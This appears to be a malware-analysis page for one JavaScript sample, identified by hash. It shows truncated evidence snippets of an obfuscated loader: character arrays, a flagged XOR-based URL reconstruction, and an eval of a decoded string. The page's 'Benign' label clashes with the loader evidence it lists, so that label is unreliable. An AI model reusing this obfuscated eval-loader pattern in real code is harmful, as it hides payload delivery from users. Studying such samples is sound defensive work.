Benign javascript-malware-collection Download

8cf269ebd73daf0cbb736c4397f62d9f933b9fa81ffa146e0f683d2167f18700.js

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-2568cf269ebd73daf0cbb736c4397f62d9f933b9fa81ffa146e0f683d2167f18700

Evidence

Builds characters with String.fromCharCode line 2

2:150… 'o','O',':','"','3','h','-','N','Q','h','4','q','t','M','B','N',String.fromCharCode(10),'n','d','"','[','N','z','m','n','$','s','6','-','P',';',String.fromCharCode(13),'?','`','6','J','0','`','*','N','Y','8','2' …

XOR URL reconstruction call line 2

2:782… '$','G','%','h','1','l','8','V','_',' ','&','r','q',']','X','P',String.fromCharCode(39),'C','(','p','/','N','{','!',')','P','*','a','.','5','*','Q','+','G','X','U','P','(','-','p',',','T','d','-','%','=','^','.','V','K','L','7','q','/','W','J','9','0','6','@','P','&','q','1','R','1','^','[','2','?','T','`','f','3','w','W','P','4','k …

Calls JavaScript toString conversion method lines 4–7

4:44… ZvJTLQ){iTCI=CgSboIhagtNAFpBbn(xzgZXiKPJls,WurQovgrBlJXp);hSNSx=iTCI.toString(fcZvJTLQ);return hSNSx;}
5function DNmpLeuaZcDyIqa(MPGKjIlobZFtwHnKC,CmyBPfYahlZRBXSfNIecUBQhuuTjNgJlqM,xDuquXzypSvJQGSEVLEASJeFcOLDgMHvqom){eval(MPGKjIlobZFtwHnKC);}
6function CoheOvDfKMcKXmtKGcIzIefSOkuURTUYcDKtEbuoAoOyjRtvPiTVdT(DbicnDmFqGvrE,svfDOTrYMYLSmS){ return kZHohoP[KvqSkkrn[aejhG(DbicnDmFqGvrE[svfDOTrYMYLSmS],(719+513)/44,(2782+308)/309)]];}
7function oewuflj(ZFSfrKMnwqXFTeZyKuVsiXlHIyIDPlrYbBCV) {return !FnopFzemrXT(jGlxwTaLazEYaDQ(ZFSfrKMnwqXFTeZyKuVsiXlHI …

Dense indexed short-token grid lines 12–13

12:33… bkbMzyF,aEzzqFmwFep) {AmHUSxMQajsZva[AixRZbbkbMzyF]=aEzzqFmwFep;}
13var b = new Array();b[0]=[];b[0][0]='d';b[0][1]='a';b[0][2]='d';b[0][3]='a';b[0][4]='46';b[0][5]='3d';b[0][6]='42';b[0][7]='14';b[0][8]='3n';b[0][9]='14';b[0][10]='25';b[0][11]='14';b[0][12]='16';b[0][13]='47';b[0][14]='3k';b[0][15]='3d';b[0][16]='44';b[0][17]='3g';b[0][18]='3l';b[0][19]='3g';b[0][20]='49';b[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],b[4],b[5]];
20var PfKRjNWRI=[];
21function QSMfupFlnvepYSeVs(NxYFg){NhgFkjzpuwx= '';SNcfJUSPZQo=Math.round((Math.pow(Math.sin(850), 2) + Math.pow(Math.cos(850), 2) - 1));while(true){if (SNcfJUSPZQo >= (5409+75)/914){break;}PfKRjNWRI[SNcfJUSPZQo]=Math.round((Math.pow(Math.sin(378), 2) + Math.pow(Math.cos(378), 2) - 1)); while(true) { if(PfKRjNWRI[SNcfJUSPZQo] > NxYFg[SNcfJUSPZQo].length-(548+318)/866) { break; } if (oewuflj(aejhG(NxYFg[SNcfJUSPZQo][PfKRjNWRI[SNcfJUSPZQo]],(9794+762)/377,(7640+770)/841))) {NhgFkjzpuwx += CoheOvDfKMcKXmtKGcIzIefSOkuURTUYcDKtEbuoAoOyjRtvPiTVdT([NxYFg[SNcfJUSPZQo][PfKRjNWRI[SNcfJUSPZQo]]], Math.round((Math.pow(Math.sin(600), 2) + Math.pow(Math.cos(600), 2) - 1)));} PfKRjNWRI[SNcfJUSPZQo]++;}SNcfJUSPZQo++;} return NhgFkjzpuwx}
22var JKWkyNXHYArBxbBtCEGNoqPIrmxopFRot = 'PLxmTZOiLZmtLcxlNMPYXtGBrdkfeoCOTbbz';var DdRRAiqtmaJGUUAQqiJRbcKHwxRuRtmt = 'dhCfJmNshoSJJHpRiFbMAkmTOyxoVIlIZDFz';DNmpLeuaZcDyIqa(QSMfupFlnvepYSeVs(NxYFg),JKWkyNXHYArBxbBtCEGNoqPIrmxopFRot,DdRRAiqtmaJGUUAQqiJRbcKHwxRuRtmt);